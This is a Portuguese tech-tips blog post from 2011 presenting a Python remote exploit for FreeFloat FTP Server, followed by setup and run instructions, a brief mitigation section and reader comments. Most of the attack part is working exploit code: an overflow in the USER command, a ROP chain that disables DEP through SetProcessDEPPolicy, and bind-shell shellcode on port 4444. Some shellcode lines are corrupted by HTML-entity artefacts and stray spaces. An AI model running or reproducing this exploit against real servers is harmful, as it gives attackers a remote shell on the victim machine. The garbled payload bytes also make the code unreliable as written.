Causando BufferOverflow em servidores rodando o FreeFloat

Publicado por André em 30/09/2011

[ Hits: 4.524 ]

Blog: http://127.0.0.1

 


Causando BufferOverflow em servidores rodando o FreeFloat



Atualmente foi descoberta uma vulnerabilidade crítica nos servidores que rodam o FreeFloat FTP Server. Nesta dica iremos explorar esta vulnerabilidade e, nos adequar a outros serviços.

Autor: André Rosa

Notas:
  • Todas as informações apresentadas nesta dica foram obtidas na Internet, sendo assim, não ofereço nenhum tipo de garantia ou suporte. Não nos responsabilizamos por qualquer dano ocorrido, tanto na máquina (computador) quanto no software. Siga por sua conta e risco.
  • É permitida a cópia do conteúdo aqui publicado, desde que o autor seja informado e os créditos sejam mantidos intactos.

Atenção sysadmins! Os servidores que rodam o FreeFloat FTP Server estão vulneráveis à buffer overflow. O que causará é uma PoC remota, causando um crash no servidor, ou seja, ao executar o exploit o servidor irá parar de responder.

Foi publicado atualmente um exploit escrito em Python para causar o estouro de buffer no servidor anteriormente citado.

Este é o exploit:

#!/usr/bin/python
import socket, sys
from struct import pack

print "\n==============================="
print "Freefloat FTP Server DEP Bypass"
print "       Escrito by Blake  e adaptado por Andrezc      "
print "===============================\n"

if len(sys.argv) != 3:
    print "[*] Uso: %s <host> <porta>\n" % sys.argv[0]
    sys.exit(0)

target = sys.argv[1]
port = int(sys.argv[2])

# 728 bytes for shellcode
#Bind Shell shellcode port 4444
shellcode = ("\x31\xc9\xdb\xcd\xbb\xb3\x93\x96\x9d\xb1\x56\xd9\x7 4\x24\xf4"
"\x5a\x31\x5a\x17\x83\xea\xfc\x03\x5a\x13\x51\x66\x6a \x75\x1c"
"\x89\x93\x86\x7e\x03\x76\xb7\xac\x77\xf2\xea\x60\xf3& #92;x56\x07"
"\x0b\x51\x43\x9c\x79\x7e\x64\x15\x37\x58\x4b\xa6\xf6 \x64\x07"
"\x64\x99\x18\x5a\xb9\x79\x20\x95\xcc\x78\x65\xc8\x3f& #92;x28\x3e"
"\x86\x92\xdc\x4b\xda\x2e\xdd\x9b\x50\x0e\xa5\x9e\xa7 \xfb\x1f"
"\xa0\xf7\x54\x14\xea\xef\xdf\x72\xcb\x0e\x33\x61\x37& #92;x58\x38"
"\x51\xc3\x5b\xe8\xa8\x2c\x6a\xd4\x66\x13\x42\xd9\x77 \x53\x65"
"\x02\x02\xaf\x95\xbf\x14\x74\xe7\x1b\x91\x69\x4f\xef& #92;x01\x4a"
"\x71\x3c\xd7\x19\x7d\x89\x9c\x46\x62\x0c\x71\xfd\x9e& #92;x85\x74"
"\xd2\x16\xdd\x52\xf6\x73\x85\xfb\xaf\xd9\x68\x04\xaf& #92;x86\xd5"
"\xa0\xbb\x25\x01\xd2\xe1\x21\xe6\xe8\x19\xb2\x60\x7b \x69\x80"
"\x2f\xd7\xe5\xa8\xb8\xf1\xf2\xcf\x92\x45\x6c\x2e\x1d& #92;xb5\xa4"
"\xf5\x49\xe5\xde\xdc\xf1\x6e\x1f\xe0\x27\x20\x4f\x4e& #92;x98\x80"
"\x3f\x2e\x48\x68\x2a\xa1\xb7\x88\x55\x6b\xce\x8f\x9b& #92;x4f\x82"
"\x67\xde\x6f\x34\x2b\x57\x89\x5c\xc3\x31\x01\xc9\x21& #92;x66\x9a"
"\x6e\x5a\x4c\xb6\x27\xcc\xd8\xd0\xf0\xf3\xd8\xf6\x52& #92;x58\x70"
"\x91\x20\xb2\x45\x80\x36\x9f\xed\xcb\x0e\x77\x67\xa2 \xdd\xe6"
"\x78\xef\xb6\x8b\xeb\x74\x47\xc2\x17\x23\x10\x83\xe6 \x3a\xf4"
"\x39\x50\x95\xeb\xc0\x04\xde\xa8\x1e\xf5\xe1\x31\xd3 \x41\xc6"
"\x21\x2d\x49\x42\x16\xe1\x1c\x1c\xc0\x47\xf7\xee\xba& #92;x11\xa4"
"\xb8\x2a\xe4\x86\x7a\x2d\xe9\xc2\x0c\xd1\x5b\xbb\x48 \xed\x53"
"\x2b\x5d\x96\x8e\xcb\xa2\x4d\x0b\xfb\xe8\xcc\x3d\x94& #92;xb4\x84"
"\x7c\xf9\x46\x73\x42\x04\xc5\x76\x3a\xf3\xd5\xf2\x3f& #92;xbf\x51"
"\xee\x4d\xd0\x37\x10\xe2\xd1\x1d\x1a")

buffer = "\x41" * 230
eip = pack('<L',0x77f613ac)      # RETN - shlwapi
rop = "\x42" * 8            # compensate
rop += pack('<L',0x77c2362c)     # POP EBX, RETN - msvcirt
rop += "\xff\xff\xff\xff"
rop += pack('<L',0x77c127e1)     # INC EBX, RETN
rop += pack('<L',0x5d093466)     # POP EBP, RETN
rop += pack('<L',0x7c8622a4)     # SetProcessDEPPolicy
rop += pack('<L',0x5d095470)     # POP EDI, RETN
rop += pack('<L',0x5d095471)     # RETN
rop += pack('<L',0x5d0913b4)     # POP ESI, RETN
rop += pack('<L',0x5d095471)            # RETN
rop += pack('<L',0x77e7d102)         # PUSHAD # RETN - RPCRT4

nops = "\x90" * 10
junk = "\x42" * (1000 - len(buffer + eip + rop + nops + shellcode))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "[+] Conectando em  %s na porta %d" % (target,port)
try:
    s.connect((target,port))
    s.recv(1024)
    print "[+] Enviando payload..."
    s.send("USER " + buffer + eip + rop + nops + shellcode + junk + "\r\n")
    s.close()
    print "[+] Exploitado com sucesso! :)"
except:
    print "[X] Nao foi possivel conectar em %s" % target

raw_input("[+] Pressione quanquer tecla para sair...\n")

Eu o adaptei para um melhor entendimento. Vamos preparar nosso ambiente. Em um Windows, instale o FreeFloat FTP Server, a partir do endereço:
Adicione as devidas permissões no firewall, caso seja necessário. Após isso, selecione uma porta (escolherei a porta 21, padrão do serviço FTP), e inicie o servidor, clicando em Start.

Ok. Agora, na máquina onde iremos explorar, instale o interpretador Python, e interprete o exploit. Use o comando python nome_do_arquivo.py. Por exemplo:

python freefloat_exploit.py

Você deve receber uma saída como esta:

===============================
Freefloat FTP Server DEP Bypass
       Escrito by Blake  e adaptado por Andrezc      
===============================

[*] Uso: freefloat_exploit.py <host> <porta>


O que isso quer dizer é que devemos passar como parâmetro o endereço IP do servidor e a porta.

Portanto, no meu caso, ficaria:

python freefloat_exploit.py 192.168.1.100 21

Execução: No servidor, com Windows:

Solução

A FreeFloat FTP ainda não desenvolveu uma solução para a falha. Por enquanto, o melhor a fazer é utilizar outro servidor FTP. Lembre-se de sempre verificar em sites que disponibilizam exploits, a procura de exploits que possam comprometer seu servidor. Mantenha os serviços sempre atualizados. Esses passos básicos são essenciais para se ter um servidor seguro.

Conclusão: O conteúdo do artigo fala por si. Exploits estão acessíveis a todos. Portanto, você não deve tomar cuidado só com pessoas que realmente entendem do que fazem. Segurança é fundamental, em quaisquer circunstâncias.

Outras dicas deste autor

Resolvendo problema com logout ao abrir vídeos

Switch em C, e se a opção for inválida?

Brincando com IP no PHP

DNS forwarding - um DNS universal

Perícia Forense - Recuperar histórico do Firefox com o ff3hr

Leitura recomendada

Horde Webmail: Corrigindo erro de tradução

Explorando seu hardware I

Usando o wget

99 99 99 99 99... falha no LILO

Usando o Return Query

  

Comentários
[1] Comentário enviado por removido em 30/09/2011 - 11:38h

Legal andré.

Boa dica !

Só um detalhe:

Nesta linha: shellcode = ("\x31\xc9\xdb\xcd\xbb\xb3\x93\x96\x9d\xb1\x56\xd9\x7 4\x24\xf4"

Retire o espaço "\x7 4\", ficando assim "\x74"\.

Se não fizer isso vai dar o seguinte erro:

ValueError: invalid \x escape

Valeu cara.



Contribuir com comentário